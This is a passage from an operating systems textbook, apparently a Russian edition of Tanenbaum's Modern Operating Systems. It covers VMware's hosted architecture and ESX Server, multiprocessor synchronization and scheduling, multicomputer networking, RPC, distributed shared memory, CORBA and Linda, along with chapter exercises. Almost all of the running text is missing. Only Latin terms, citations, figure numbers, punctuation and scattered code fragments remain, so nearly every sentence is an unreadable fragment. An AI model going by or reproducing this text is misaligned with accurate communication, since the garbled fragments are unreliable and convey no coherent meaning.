1x (104 )
;
VMware
1x PS-2
1x Soundblaster (
)
566
7.
,
,
0.
, ,
, (Waldspurger
and Rosenblum, 2012).
, , .
-,
.
, Ethernet- AMD
PCnet Lance, -
10 /,
-. , VMware PCnet ,
Lance, - 10 / (Sugerman et al., 2001).
IDE- Buslogic Controller,
, ISO 9660, ,
-.
: VMware ,
, . ,
,
. , - (hardware-independent encapsulation),
.
, -, (Nelson et al., 2005).
,
.
VMware Workstation
.
.
.
-, , . VMware ,
. , VMware Workstation
, -
7.12. : VMWARE
567
,
-, .
, VMware Workstation
.
-, , .
, VMware Workstation
, ( , BIOS). VMware
Workstation ,
, ,
Linux.
, ,
, API-,
. , x86
, VMM
,
( ), .
,
. () ,
API-
.
( , , ),
.
, ( )
.
VMware
Hosted Architecture.
(. 7.8).
:
, (VMX), VMware. VMX
, ,
( )
. VMX-
.
568
write()
fs
VMM-
scsi
CPU
(v)
(ii)
VMM
(iv)
(iii)
(i)
VMX
7.
IDTR
VMM
, (VMX-),
.
VMM
. VMX-.
VMM, , , , ,
. VMM ,
. , , ,
- ,
.
VMM, .
VMware Workstation , , , VMX . VMM ,
. . 7.8 : ( VMM)
, . VMM
( ) ,
-
. , VMM
IDTR . ,
7.12. : VMWARE
569
( ), VMM
.
(world switch). ,
, . . 7.9 .
,
. , ,
, , . :
, ,
. . , . VMM ,
VMM, .
, 45 x86.
VMware
(
)
(
)
VMX (
)
VMM
( )
VMM
. 7.9.
:
? : VMM.
, , .
(, Linux)
. , , .
:
VMM, ? ,
VMM, .
570
7.
4- ,
.
. 7.8: ,
, VMM ( I). , VMM
, . (II) VMM
, :
VMware-, III
, . , IV , , ,
VMware- (
VMM!). , V VMware-
VMX.
VMware
VMX. VMX
,
VMM.
, , VMM
. , VMM
.
7.12. : VMWARE
571
, ,
VMware , . VMware Workstation
.
.
VMware
.
7.12.6. ESX-:
VMware
2001 VMware , ESX
Server . VMware
: ,
, , .
ESX
VM
VM
VM
VMM
VMM
VMM
VMM
ESX-
x86
VMware
.
VMware :
ESX Server
, .
, ESX Server ( VMware Workstation)
.
572
7.
, -,
.
. ESX Server , ,
, :
( ). ,
.
, , ,
. ESX
Server (ballooning) (Waldspurger, 2002).
- .
VMware Workstation ESX Server
,
. VMware Workstation - API, .
. ESX Server
ESX-, .
, . , VMware Workstation
( ) . ESX Server VMFS (Vaghani,
2010) ,
-. .
, VMware 2011 , ESX
Server 1 (VMware, 2011).
ESX Server , .
, ESX Server VMotion ,
, , , ESX Server,
ESX Server.
,
.
ESX Server . ESX Server ESXi,
, . ESXi
VMware vSphere.
573
7.13.
. ,
. - . ,
(Virtual Execution Environments (VEE))
. , , . . (ACM Symposium on Cloud
Computing (SOCC)), ,
, . , SOCC, ,
-, . .
. , Penneman et al. (2013) ARM- ,
. (Beham et
al., 2013; Mao, 2013; Pearce et al., 2013), (Botero and Hesselbach, 2013; Yuan et al., 2013).
-, ,
, (Theodorou et
al., 2013).
(Wang et al., 2013a).
,
, (Ben-Yehuda et al., 2010; Zhang et
al., 2011). ,
,
, , . .
Turtles (),
, , ,
, , , . .
, , ,
, TLB-.
Dune (Belay, 2012) , .
Dune, ,
. , .
VMCALL.
1. - .
2. , .
574
7.
3. ,
,
.
4. ,
.
5. , , ?
1974 , IBM
1970- .
6. ,
.
7. ,
.
8. ?
, , ? .
9. ,
? , ?
10. , n .
. n ? ,
?
11. .
12. ? ,
,
.
13. - ?
14. ? , ? .
15. , x86 .
16. , , VT-,
, -.
17. , , , .
18. VMware ,
,
. ? ,
?
19. ?
20. , .
.
575
21. ,
. ? ? .
22. ,
.
23. , , () ,
. ?
.
24. ?
?
25. , .
26. ,
.
27. - DMA. -
- (I/O MMU)?
28.
. .
29. IAAS, PAAS SAAS.
30. ?
?
31. ,
.
?
32. ?
33. ( ,
?)?
34. , VMware ?
35. VMware Workstation
?
36. VMware ESXi . ? - . -
- ?
37. .
8.
.
ENIAC 300 ,
, . ENIAC,
. ,
,
, .
, .
. ,
.
,
30 /,
20 /. ,
10
, 2 . 100 2 .
1 (1000 ) 100 (0,1 ),
.
, , , : . , , ,
. x86- ,
, . 1
1 . 1 1 , ,
.
. , ( ),
.
, .
1 (Furber et
al., 2013).
, ,
577
,
.
. ,
, ,
.
. ,
, , , .
.
, .
. , ,
, ,
, ,
.
.
, ,
. ,
. ,
.
,
.
( )
. ,
.
, .
, LOAD STORE.
110 . ,
(
-). ,
, . (. 8.1, )
-
578
8.
, .
.
. 8.1. : ; ;
(. 8.1, ),
.
. ,
.
.
1050 , ,
. 8.1, . . ( )
, ( ), . .
(. 8.1, ) , ,
(distributed system). ,
. , . 8.1, , ,
,
10100 . (loosely coupled)
-, (tightly coupled) (. . 8.1, ).
.
.
,
, . 8.1. , ,
. , ,
. ,
, .
8.1.
579
8.1.
(shared-memory multiprocessor),
, , . ,
,
(, , ). ,
, ,
- ,
( ).
:
- ,
.
. , ,
-.
, .
, .
,
, .
8.1.1.
,
,
: ,
. UMA-
(Uniform Memory Access ).
NUMA- (Nonuniform Memory Access
) . ,
. UMA-, NUMA.
UMA-
(. 8.2, ) .
.
, . ,
,
, .
, , , , .
.
, 32 64 .
,
.
580
8.
. 8.2. : -; -;
-
. 8.2, -.
, ,
.
-, ,
, .
8.1.
581
, , 32 64 .
, (cache line), -.
-
( )
( , , ).
, , ,
. ,
,
, ,
. - ,
,
,
.
(cache-coherence protocol), .
. 8.2, . , ,
.
, ,
, ,
.
.
,
, .
UMA-,
UMA- 16 32 .
, .
n k
(crossbar switch) (. 8.3). ,
.
() ()
, ,
,
, . . 8.3, ,
: (001, 000), (101, 101) (110, 010).
.
,
.
582
8.
. 8.3. : ;
;
:
(nonblocking network), ,
- ( ,
). . , .
, .
, , ,
. - , . 8.2,
n n .
, n2. 1 .
. ,
, .
UMA,
. 8.4, , 2 2. .
8.1.
583
, ,
.
(. 8.4, ). Module () , . Address () .
Opcode ( ) , READ WRITE.
, Value () ,
32- , WRITE. Module ,
X Y.
. 8.4. 2 2: , A B, , X Y, ;
. 8.5.
(perfect shuffle),
, ,
584
8.
. , , 011 110.
READ 1D, Module 110. ( ) 110
. 0,
, 1, .
1, 2D.
, 2D,
. 1,
3D. , 0.
, , , 110. , ,
. 8.5 a.
. ,
, . a
0 ( 1D), 1 ( 2D) 1 ( 3D).
011,
.
001 001. : ,
, b. , Module 001,
.
, , .
, , 000
000. 001 3A.
. ,
(blocking network). .
, .
.
. , , - , 32-
. 00,
.
. , ,
(interleaved).
, .
,
.
8.1.
585
NUMA
UMA , , ,
, .
, - .
. NUMA.
UMA, , , , .
, UMA, NUMA-,
, UMA-.
NUMA- ,
:
1.
.
2. LOAD STORE.
3. , .
( ), NC-NUMA (No Cache-coherent NUMA NUMA
). - CC-NUMA (Cache-Coherent NUMA NUMA ).
CC-NUMA (directory-based
multiprocessor). , ,
- . - , ,
. , ,
, .
, , () , 256 ,
16
, .
232 , 226 - 64 .
, 016 M 0,
16 M32 M 1 . . , . 8.6, .
218 64- -, 224 . ,
.
, , LOAD
20, -. ,
, (MMU),
586
8.
. 8.6. , 256 ;
32- ; 36
, 0x24000108.
MMU , . 8.6, .
36, 4 8. , , , 36, 20,
36, , 4 , , .
36, . ,
218 , -, 4. . 8.6,
, , 4
, 20 4,
, 20.
, 2 36. . 8.6,
, 82.
, ,
20, 82,
20 . ,
.
, .
16 218 9
8.1.
587
. , 9 218 16 ,
1,76 %, ( ,
, , , ).
- 32 , 4 %. 128 1 %.
, . ,
- , , , . , . 1 ,
, 0 .
,
. .
,
.
Intel (Gordon
Moore), . 1974 Intel 8080
2 , Xeon NehalemEX 2 .
: ? 1, , -, .
, , - 432 . ,
-
99 99,5 %,
.
( ) , (cores). , ,
, , .
, . -
-. , Intel Xeon 2651
12 , 24 . 12 32- L1,
32- L1 .
256- L2. , 12
30- L3.
, , - (. . 1.8), ,
,
.
588
8.
, , ,
.
(snooping).
.
(Chip-level MultiProcessors (CMP)).
CMP , .
.
,
. 8.2, , AMD, . 1.8, . -, Intel
. 1.8, , . (L2 L3) . -, ,
-,
. - , .
, CMP , . -
, .
,
, (system on a chip).
, , - , ,
. ., .
,
,
(Manycore chips), ,
, . , , ,
, .
, Intel Xeon
Phi, 60 x86-.
. , 1000
. , ,
, .
, ,
, , ,
.
8.1.
589
, .
, . ,
,
, . ,
.
(coherency wall).
, , .
, ,
1024 128 ,
, . ,
.
, ,
, , , . 48-
Intel, SCC,
.
, -
. . ,
1024 64 ,
16
.
. (GPU),
,
.
. ,
, .
,
. .
.
(, ), .
(GPU) , ,
. ,
(general purpose, GP) (GPU),
, GPGPU. ,
,
OpenGL CUDA, NVIDIA.
590
8.
, , , ,
,
. , (,
).
.
. ,
, .
IXP, Intel 2000
.
(,
ARM-, Linux) , . ,
. ,
, ,
.
( ),
.
, . IXP ,
.
. . ,
, ,
,
, , .
, , , . ,
, ARM- big.LITTLE.
,
. , .
,
. ,
8.1.
591
, . ,
,
, ,
. .
: ,
, , , .
. , .
,
, .
8.1.2.
, . ,
. ,
, , .
.
n n .
,
, . 8.7,
.
. 8.7. ,
592
8.
, , n ,
-,
. ,
. , ,
, ,
.
.
. -,
,
.
-, , ,
. .
1, . , ,
1 , 2
.
-, .
, 1 , 2 .
1 2 - .
-, ,
,
. ,
-
, . , .
, .
, ,
- .
,
. -
. ,
. ,
, (
).
.
8.1.
593
,
. 8.8. , 1. 1.
, ,
. ,
1 , .
. 8.8.
.
(, ), .
,
1 , , .
,
. ,
, ,
.
, ,
,
. , , 10 %
, 10 ,
20 . ,
,
.
(Symmetric MultiProcessor (SMP)).
,
. , ,
. SMP . 8.9.
594
8.
. 8.9. SMP
, . ,
, , . ,
, . ,
.
( ),
.
, . , . ,
,
. (big kernel lock).
. , 10 % . 20 ,
.
, . . ,
, , ,
, .
, . ,
.
. , , ,
. , ,
fork, .
, , .
.
8.1.
595
. ,
,
, ,
- , . ,
, ,
, ,
, .
, , .
A B
A, B,
.
,
. ,
,
, .
, .
,
, . ,
,
. - ,
.
8.1.3.
, ,
. , .
, . ,
.
. ,
, ,
.
, .
. , -,
.
-
,
. . 2.16 TSL (Test and Set
Lock ) .
596
8.
, .
1 ( ) .
,
. TSL ,
, .
, . . 8.10
,
1000, 0. 1
1 0. 2, 1 1,
2 , 0. 3
1 1. 4
2 1 .
TSL 0,
.
. 8.10. , TSL .
,
TSL ,
, , . ,
, . ,
.
,
. , , ,
TSL .
(Peterson, 1981).
TSL .
- (spin lock),
,
8.1.
597
. ( ), , ,
,
.
,
, . , ,
.
,
. , , , ,
,
.
, 32 64 . ,
, ,
. TSL ( ), ,
. TSL ,
, ,
.
, ,
. , ,
, ,
, ,
,
.
, TSL
, , . , , ,
. , ,
TSL, .
,
.
,
,
.
, ,
.
.
,
, , ,
TSL . , ,
TSL, .
. - ,
598
8.
, . ,
, ,
.
(binary
exponential backoff), Ethernet (Anderson, 1990). , . 2.17, .
. ,
, .
,
.
.
,
TSL, .
,
, ,
(. 8.11) (Mellor-Crummey and Scott, 1991). , .
, ,
, , .
, , , ,
.
. ,
, , . . ( ,
) .
.
. 8.11. ,
8.1.
599
, ?
, , , , , .
, ,
. , , - , .
,
, , , , .
, .
. ,
-
, , , . ,
, , . ,
,
, , .
, ,
.
, ,
, . .
. ,
, ,
, . ,
,
.
TLB.
,
.
, , .
, , , 50 , 1 1
, , . 10 ,
. ,
,
: ?
, .
: , ,
. , ,
, ,
600
8.
. ,
. .
(Ousterhout, 1982).
, , ,
. . , ,
.
.
,
,
. , , 1 ,
2 , , .
, 200 , , ,
2 . ,
2 ,
.
, x86, , .
, MONITOR/MWAIT x86
, - . , MONITOR
, . MWAIT , -
. ,
.
8.1.4.
, , .
, , : , .
,
.
, :
.
, ,
, , , .
,
.
-.
, .
8.1.
601
, , , (
). , , ,
, , .
, , .
. :
?
. ,
.
.
,
. , .
, . , ,
, .
.
, ,
,
.
, .
make. , make
, - , .
, , .
make ,
,
. ,
, , .
,
, .
, , , , ,
, . , . , NUMA ,
.
,
, .
602
8.
,
, , , ,
(. 8.12, ). 16 ,
, 14 , . , ( ), 4,
A,
(. 8.12, ). 12, B (. 8.12, ). ,
.
. 8.12.
, , ,
.
, , . : ,
, ,
-.
. ,
. , -
. ,
-, ,
8.1.
603
. - ,
, , , , ,
.
,
(smart scheduling), , , , , ,
- (Zahorjan et al., 1991). , . ,
-, .
, , ,
, . , A
k, - , A. A
,
k, A .
, , . , TLB , TLB.
(affinity scheduling) (Vaswani and Zahorjan, 1991).
, .
(two-level scheduling algorithm).
, ,
. .
.
. - .
. , ,
.
. -,
. -,
.
-,
, ,
, .
604
8.
, - .
make. ,
. ,
, .
(space sharing).
. , . ,
.
, ( ) . ,
, .
, ,
.
-,
, ,
. .
, . , . 8.13 , 4, 6, 8 12
.
.
. 8.13. 32 ,
.
,
.
,
8.1.
605
, , .
,
. , ,
, (Krueger et al., 1994).
, ,
.
. , ,
(Tucker and Gupta, 1989).
, ,
.
. , -
5, 10, 20 .
- 10
,
, , , .
, ,
, . 8.13.
, , ,
. ,
, . ,
, , ,
, .
, ,
, A0 A1, A, B0 B1, B.
A0 B0 0; A1 B1 1.
A0 A1 .
, A0 A1 , A1 A0 ,
, . ,
A0 B1, . 8.14.
0 A0 A1 , A1 , 1 100 . , A0
, 200 .
200 ,
.
606
8.
. 8.14. ,
A
, (Ousterhout, 1982).
:
1. .
2. , .
3. .
,
. ,
, . 8.14.
.
. .
, ,
.
. 8.15. , ,
. 8.15.
8.2.
607
A E, , 24.
0 A0 A6. 1
B0, B1, B2, C0, C1 C2. 2
, D, E0.
, E, 3.
, 4 0 . .
, , ,
, ,
. . 8.15 A
,
,
, . 8.14.
8.2.
, ,
. ,
. , ,
.
, , . .
- .
, ,
, . ,
. 8.1, , . , (cluster
computers) COWS (Clusters of Workstations ).
, ,
.
,
, , . , .
(., , . 8.1, ). ,
, , ,
.
, ,
.
, .
, . , .
608
8.
8.3.1.
, ,
, . ,
, . (headless workstation), .
,
, - .
- , -,
- ,
, .
.
.
,
( ) .
, . ,
(. 8.16, ) .
Ethernet.
, ,
, (. 8.16, ). ,
.
(grid) (mesh (. 8.16, ).
.
,
. (. 8.16, ), .
, ,
.
(. 8.16, ) . 2 2 2, k k k.
. 8.16, ,
.
(. 8.16, ) ,
, .
. . n-
. , .
, 2 .
8.2.
609
. 8.16. : ; ; ;
; ;
, 10- 1024 ,
10, .
, 1024 , 32 32,
, 62, . , ,
, , ( ),
.
.
(
) , . ,
(store-and-forward packet switching), ,
- (. 8.17, ). , ,
, (. 8.17, ).
(. 8.17, ) , -,
.
()
. ,
, . 8.17, T .
1 2
610
8.
. 8.17.
( A, C, D , , ), ,
, 4T.
,
.
, , . -, .
(circuit switching)
. ,
.
. , ,
, .
, .
,
(wormhole routing), ,
, .
,
, .
.
,
Bhoedjang (2000).
. ,
. ,
8.2.
611
, , .
,
- ,
.
. . 8.18.
. .
,
. (,
PCI) .
PCI, ,
-.
,
.
. 8.18.
DMA-
(, ,
). DMA-
. , ,
.
, ,
DMA-. (network processors) (El Ferkouss
et al., 2011). ,
: ,
612
8.
( ),
( ), -, .
, .
, .
, , -,
. ,
TCP IP.
.
:
, -. , , . , ,
, TLB . . ,
.
, ,
.
8.2.2.
. ,
( )
.
. . ,
, ,
,
. , ,
, ,
. ,
, ,
. . 8.18.
,
. ,
,
.
, .
, , ,
?
?
8.2.
613
, , ? ,
A, B,
A B , ?
, .
, A ,
B , .
- , , , ,
. , ,
, , .
,
, - (,
, ).
,
, , . . ,
, . ,
, .
: ,
, ,
, .
.
, . , Intel I350
8 8 . ,
(affinity) . , ,
.
TCP
( ),
TCP (IP- TCP-)
,
. ,
.
.
DMA,
.
, DMA ,
614
8.
,
-. ,
. ,
, .
, ,
DMA , .
, ,
DMA ,
,
.
,
, .
, ,
. , , 64 ,
, ,
. , , 1 ,
. . , ,
.
. ,
. ,
( ) , .
,
, ,
, .
. , ,
.
.
(Remote Direct Memory Access (RDMA)),
. RDMA ,
.
RDMA , .
DMA,
8.2.
615
, . ,
, .
RDMA- .
, . ,
.
.
.
. 1 1 1 , , .
.
8.2.3.
, , .
. ,
, .
, .
.
Send Receive
, ,
. , ,
:
send(dest, &mptr);
:
receive(addr, &mptr);
, mptr,
, dest, , .
, .
, , mptr,
. addr , .
.
616
8.
, .
, , addr ,
:
. ,
.
(
). send, . ,
( ). ,
send, ,
(. 8.19, ). receive
, , .
receive , ,
. , ,
, , ,
.
. 8.19. send: ;
(
). send ,
, , . , -
8.2.
617
,
( ,
).
( , ),
,
.
, , :
, . ,
. , , ,
, , ,
. ,
.
.
(. 8.19, ) , , . :
,
. , , . ,
.
,
, , .
.
( ),
, ,
. , ,
, .
,
, .
, .
,
, . , ,
- . ,
, , , ,
.
, :
send ( ).
send ( ).
618
8.
send ( ).
( ).
, . ,
, . ,
. : . 8.19, . 8.19,
, ,
.
, ,
. ,
, ,
(Andrews, 1991).
, , , .
receive , send, .
, .
, . receive , ,
. ,
.
, , ,
, poll, , -
. , get_message,
.
poll , ,
, .
,
. (pop-up thread). , .
.
, . ,
, . ,
.
.
(Von Eicken et al., 1992). ,
.
8.2.
619
8.2.4.
,
: , , - . send receive, , -, - .
,
(Birrell and Nelson, 1984),
.
( , - ), . ,
.
,
, .
, , ,
.
.
, - -. (Remote Procedure Call (RPC))
, . ,
, .
, RPC, ,
. ,
, , (client
stub). ,
(server stub). , , , .
RPC . 8.20. 1
.
, . 2 ,
. (marshaling).
3 ,
. 4 ,
(, , receive). , 5 , .
, .
, , ,
( )
, ,
.
, .
-
620
8.
. . , -
send receive
.
. 8.20. ;
RPC, . . . ,
,
. RPC
, .
, , . ,
k. k .
k .
, k , k , ,
.
. ,
: , ,
. .
, , C,
,
() . ,
8.2.
621
. : .
, .
printf,
( ), , , ,
. printf
- C .
, , RPC ,
C ( C++), .
.
. , , ,
.
RPC.
, .
8.2.5.
RPC ,
- . ,
,
, ,
(Distributed Shared Memory (DSM)) (Li, 1986; Li and Hudak,
1989). , (Cai and Strazdins, 2012; Choi and Jung, 2013; Ohnishi and Yoshida, 2011). DSM
,
, .
, . DSM
, . 8.1, .
.
LOAD STORE ,
, .
,
, . , , , .
, .
, .
DSM
. 8.21. . 8.21, , . . 8.21,
622
8.
. 8.21. :
; ;
8.2.
623
DSM, . . 8.21,
,
. ,
DSM.
DSM. DSM , .
,
DSM ,
, , ,
. . 8.22,
, 16 ,
.
. 8.22. , ;
0 10
; , 10
624
8.
, 0
0, 2, 5 9, .
. , 10
DSM, 10 1 0 (. 8.22, ).
,
, ,
, , , , ,
, , . ,
10 (. . 8.22) ,
0 , 0
, 1, (. 8.22, ). ,
, 0 1, 10
,
.
, ,
. ,
, . , , , ,
.
.
DSM .
, ,
( ). : ? 32 64 ,
. DSM
( MMU ), 1, 2, 4
. ,
.
DSM . ,
4096
, 1024 .
, ,
. ,
,
, ,
, .
8.2.
625
,
, .
,
, (false
sharing) (. 8.23). ,
A B. 1
A, . 2 B. , ,
.
. 8.23. ,
, , , , ,
, . ,
, , , .
.
,
,
. , , , .
, , 1 , 2 ,
.
,
.
,
. ,
, DSM,
, ,
, (MMU),
626
8.
.
, .
- ,
,
, , . , ,
, .
, , , ,
, . DSM
.
, , , .
,
.
. , ,
.
.
, .
,
,
, .
, .
, ,
, , ,
.
,
(Keleher et al., 1994).
8.2.6.
. , . , .
.
. 1
4, , . ,
,
. .
- ,
. , ,
8.2.
627
,
, . , , , ,
.
, .
, ,
,
, .
8.2.7.
,
- ,
,
. -
, ,
, . ,
. , .
(processor allocation algorithms).
( ).
. , , ,
.
,
. ,
.
, , , .
k,
. , .
,
,
. (
) k ,
(, -
628
8.
).
, , , ,
. , ,
. , ,
.
. 8.24 A I,
(, ).
. 8.24.
. 8.24, , A, E G 1,
B, F H 2, C, D I 3. , ( ), 30. . 8.24, ,
28. ,
,
, .
, ( ), (
).
, , (Chow and Abraham, 1982; Lo, 1984; Stone
and Bokhari, 1978).
,
. ,
, , .
, - . ,
(
). , (Eager et al.,
8.2.
629
1986). , . . N
,
. ,
, . 8.25, , , .
. 8.25. ,
; ,
(Eager et al.,
1986). ,
,
, .
,
,
, . ,
.
,
. 8.25, , , , ,
. ,
, , . ,
- .
, , . N
, ,
.
, .
.
630
8.
,
. , ,
,
. , , .
, , .
, , , ,
, . - ,
, .
, , , , ,
. ,
,
.
,
.
8.4.
,
. ,
. , .
, ,
, , ,
. .
,
,
. ,
, ,
, ,
. 1024 , , - ,
, , ,
,
. . 8.1 ,
.
- .
: ? ,
8.4.
631
8.1.
,
,
, , ,
. ,
, .
.
, . ,
, ,
,
, , .
. ,
,
, .
-
( telnet, ssh rlogin), ( FTP), (
-)
(, , ,
). , . , , FTP,
- , , , , . -
,
. , - , -
632
8.
, - -
, : , .
, , (), .
, .
, , -, .
UNIX, - . , , ,
.
. ,
(middleware), . 8.26.
, ,
, .
. 8.26.
, ,
. ,
.
, ,
Distributed Systems (Tanenbaum and van Steen, 2007).
,
8.4.
633
( ), ( ). ,
.
8.3.1.
,
. :
(Local Area Networks (LAN)), , (Wide Area Networks (WAN)),
, .
Ethernet, .
, , .
.
Ethernet
Ethernet, IEEE Standard 802.3, , .
Ethernet , , ,
. ( XIX
,
, ,
, .
1887 ,
, , .)
Ethernet , ,
, . ,
. 8.27, , (vampire tap).
, .
,
.
. 8.27. Ethernet: ;
634
8.
,
, .
Ethernet, , ,
- . , , ,
0 1500 . ,
, ,
.
, , .
, 0 T , . ,
, 0 2T ,
. , .
(binary
exponential backoff).
.
Ethernet
.
Ethernet,
, (bridges).
, Ethernet
, , .
Ethernet
(. 8.27, ). ,
, Ethernet .
,
, . ,
. ,
. . 8.27,
Ethernet ,
, .
ARPANET ,
. 1969
.
,
.
1970- ARPANET , . ,
8.4.
635
Ethernet, ,
.
: .
(hosts) , , , ,
,
, . (routers)
,
. (.
. 8.27, ), , .
,
. .
. 8.28 . , , , .
,
,
() . , , , ,
.
. 8.28.
. Ethernet
636
8.
, . , , ,
. ,
, .
.
, . , ,
, , ,
. ,
.
, , .
.
8.3.2.
( ) , . .
.
(conection-oriented service) ,
. -, ,
, , .
, , . , :
() ,
.
(connectionless service) . ()
, . ,
, . ,
. .
(quality of service).
,
. , ,
(acknowledgement packet), , . ,
, .
. ,
8.4.
637
, .
- , ,
.
: .
. 1
.
, . 2 K
, , , , 2048
- .
, , ,
.
, .
.
, , . .
, , .
. ,
, , . ( )
(datagram
service) , .
, . (acknowledged
datagram service). .
,
, .
. 8.29.
638
8.
(request-reply service), , ,
. , ,
, -. -
- :
, . . 8.29
.
. (,
), ,
, .
(, )
. , , (protocol). , ,
. .
Computer Networks, 5/e (Tanenbaum
and Wetherall, 2010).
(protocol
stack) . . , ,
, .
.
.
, , , -: IP TCP. IP (Internet Protocol) ,
64 , .
. .
, , .
, .
IP v4 v6.
v4, ,
v6. v4 40- ,
32- 32- .
IP-, . , 0 255,
, 192.31.231.65. , IP- .
8.4.
639
IP , IP .
IP TCP (Transmission Control
Protocol ). TCP IP
, . TCP . IP , ,
.
, , ,
. TCP
, .
.
, UNIX.
,
, . Ethernet, .
?
TCP-. , , TCP-, IP-.
Ethernet, Ethernet-, Ethernet.
(. 8.30).
. 8.30.
(
), IP-.
32- , DNS
(Domain Name System ), ,
ASCII- IP-. ,
DNS- star.cs.vu.nl
IP- 130.37.24.6. DNS-
640
8.
, : ,
@, DNS- (user-name@DNS-host-name).
IP-,
DNS, TCP-
,
. (user-name),
, .
8.3.3.
, , ,
. , (WWW, World Wide Web). -
1989 , (CERN),
.
:
, -. - , , ,
, . ., () -.
-
-, . , .
,
:
, (. 8.31).
. 8.31.
8.4.
641
: protocol://DNS-name/file-name.
http (HyperText Transfer Protocol ),
ftp . DNS- , .
, , , . URL- .
.
- , , -.
URL, , ,
, -. , URL http://www.minix3.org/getting-started/index.html. :
1. DNS IP-, www.minix3.org.
2. DNS 66.147.238.215.
3. TCP- 80 IP-
66.147.238.215.
4. getting-started/index.html.
5. www.minix3.org getting-started/index.html.
6. getting-started/index.html.
7. .
8. TCP- .
.
, , -,
, -, ,
, ,
.
8.3.4.
, , , .
, .
, .
, , .
,
, .
, , , .
642
8.
- (upload/download
model) (remote access model). (. 8.32, ) ,
, . ,
.
, .
, .
, ,
(. 8.32, ).
. 8.32. : -;
- ,
, .
, ,
, ,
.
. . ,
.
.
, , . 8.33. . 8.33,
, . . 8.33, , ( )
. /D/E/x
, .
. 8.33,
. , /D/E/x
1, 2. ,
(), ,
. 8.33, , .
8.4.
643
. 8.33. : ,
; ;
, ,
, .
,
, . 8.33, . .
,
, . , ,
, ,
. //,
, , , .
644
8.
,
. ,
. , (location transparency), , ,
. /server1/dir1/dir2/x , x
server1, , .
, . , .
, x , server1
. , , server2 .
x server2. , ,
, dir1
dir2 . ,
/server1/dir1/dir2/x /server2/dir1/dir2/x. ,
, , .
, ,
(location indenpendence). , ,
, . ,
(), , ( )
. - , ,
.
, ,
:
1. + , / / :.
2. () .
3. , .
, , . ,
.
, ,
. ,
read write ,
read (. 8.34, ). ,
read
write, ,
8.4.
645
write. , .
(sequential consistency).
. read write , .
,
,
.
, -. 1
, 2
, (. 8.34, ).
. 8.34. ;
.
. -
646
8.
. read
write : ,
, .
.
. 8.34, , , ( B
), . 1 ,
, read , , . ,
-, . 8.32.
(session semantics).
, ,
. , ,
, , .
,
, ,
.
-, .
,
. , , , ,
. ,
, .
8.3.5. ,
. ,
, ,
. (object)
, (methods). . .
, C++ Java, , ,
. ,
, CORBA (Common Object Request Broker Architecture
) (Vinoski, 1997). CORBA - ,
, (, ). CORBA ,
. , ,
, ,
, ORB (Object Request Broker ). -
8.4.
647
ORB CORBA , ,
.
CORBA- IDL
(Interface Definition Language)
. IDL
- .
,
, .
IDL (skeleton)
, . ,
CORBA ,
, .
CORBA , .
.
.
,
.
, , , . ,
, ORB-.
ORB-, .
RPC.
ORB- , . , ORB , ,
, , ORB ( TCP/IP, RPC, . .).
CORBA
ORB- , ORB . 2.0.
, IIOP (Internet InterORB
Protocol ORB- ).
CORBA- ,
,
(object adapter). , ,
, ,
.
CORBA . 8.35.
CORBA ,
, ,
, , .
CORBA ,
, .
648
8.
. 8.35. CORBA
( CORBA )
8.3.6. ,
, .
Linda ( -
, ).
Linda ,
(Carriero and Gelernter, 1986; Carriero and Gelernter, 1989; Gelernter, 1985).
Linda .
,
, . ,
(, . 8.21, ).
C Java. ,
,
. ( Linda , C.) C-Linda ,
, , ,
( ) ( ).
. 8.1 .
8.1. Linda
("abc", 2, 5)
("matrix-1", 1, 6, 3.14)
("family", "is-sister", "Stephany", "Roberta")
. , out, . ,
out("abc", 2, 5);
8.4.
649
(abc, 2, 5) . out,
, , , :
out("matrix1", i, j, 3.14);
,
i j.
in. ,
. in . , , :
in("abc", 2, ?i);
,
abc, 2 , (,
i ). ,
i . ,
in, ,
.
.
in . in, (template), () .
, :
1. .
2. .
3. .
, ,
, ( ), ,
,
.
, ,
,
.
, , , , .
, in out,
, .
-. , .
up S,
:
out("semaphore S");
650
8.
down :
in("semaphore S");
S (semaphore S) . ,
, -
.
out in Linda read, in, ,
. eval,
.
. Linda .
-
, ,
Linda - (publish/subscribe) (Oki et al., 1993).
, .
,
.
(,
), .
(publishing). , . , , (subscribe)
,
(wildcards).
(), ,
.
- . 8.36.
, .
. , ,
.
.
, , , , . ,
, ,
. .
, , .
,
.
8.5.
651
. 8.36. -
.
, -.
, .
- ,
Linda. , .
, , , :
x? , :
x.
8.4.
, . ,
, ,
, .
, . , Corey ,
(Boyd-Wickizer et al., 2008).
, ,
, . Barrelfish (Baumann et al., 2009) , , .
.
652
8.
8.6.
.
: , , . .
, .
.
,
. ,
653
,
, .
.
,
.
, ,
.
,
.
, .
,
.
, .
, , , ,
, , .
,
.
.
, .
: , , .
(World Wide Web), CORBA Linda.
1. USENET SETI@home
? ( SETI@home
,
.) , ,
. 8.1, ?
2. , ?
3. , ,
200 MIPS, ,
400 ? , .
,
90 %. ,
654
8.
, ,
, 32 ?
4. , 2A 3B (. . 8.5). ?
5. , . 8.7?
6. , . 8.8, , , ,
, . 8.7. ?
7. enter_region 2.3, ,
, TSL.
8. .
.
,
-.
(, TCP) (, http).
? ?
9. SMP
?
10. TSL ,
, - , , ,
, .
TSL 50 , , , TSL.
32- ,
, 400 ,
-?
11. TSL . .
?
12. , TSL . , SWP, .
? ,
? , ?
13. ,
-. ,
655
5 . ,
, TSL.
10 , .
,
TSL, ? ,
,
.
14. .
TLB?
?
15. ,
. 8.16? ,
, .
16. (. . 8.16, ),
k k. ?
: k .
17.
. ,
.
. , , . , 8 8 8,
1 /?
18. , ,
. , 32- 20 ,
1 /. 64- ?
? ,
:
. ?
19. , , .
20. . , 1 .
5 / DMA 20
-. ,
DMA ?
21. ,
RPC ( ),
. : ,
, -
656
8.
. , ,
.
?
22. DSM , . .
23. , . 8.24.
, H 2 3.
?
24.
. , ?
, , .
25. Ethernet ?
26. . 8.26
.
?
27. . 8.29 .
:
) , ;
) -?
28. DNS- , cs.uni.edu sales.
generallwidget.com. DNS-
, ,
.
DNS,
.
29. URL- ,
80. ?
30. -, TCP-,
( HTML).
. ,
TCP- .
.
31. , ,
. ,
. .
32.
, ?
33. in Linda
.
, in.
657
34. . C, , .
clock times, , . ,
.
35. C , RPC-
printf, .
,
.
, ,
.
36. , .
, (creating_processor, start_time, required_CPU_time),
creating_processor , ,
start_time , required_CPU_time , ( ).
, , ,
. , ,
. ,
.
, . ,
. , ,
, N AJL , AJL N .
, AJL.
() .
,
N/3 AJL .
,
.
37. -
, . ,
- .
. ,
. ,
, ,
.
, ,
, , . -
658
8.
*.
() , . BEGIN NEW ARTICLE.
( ).
,
.
P S ( ),
.
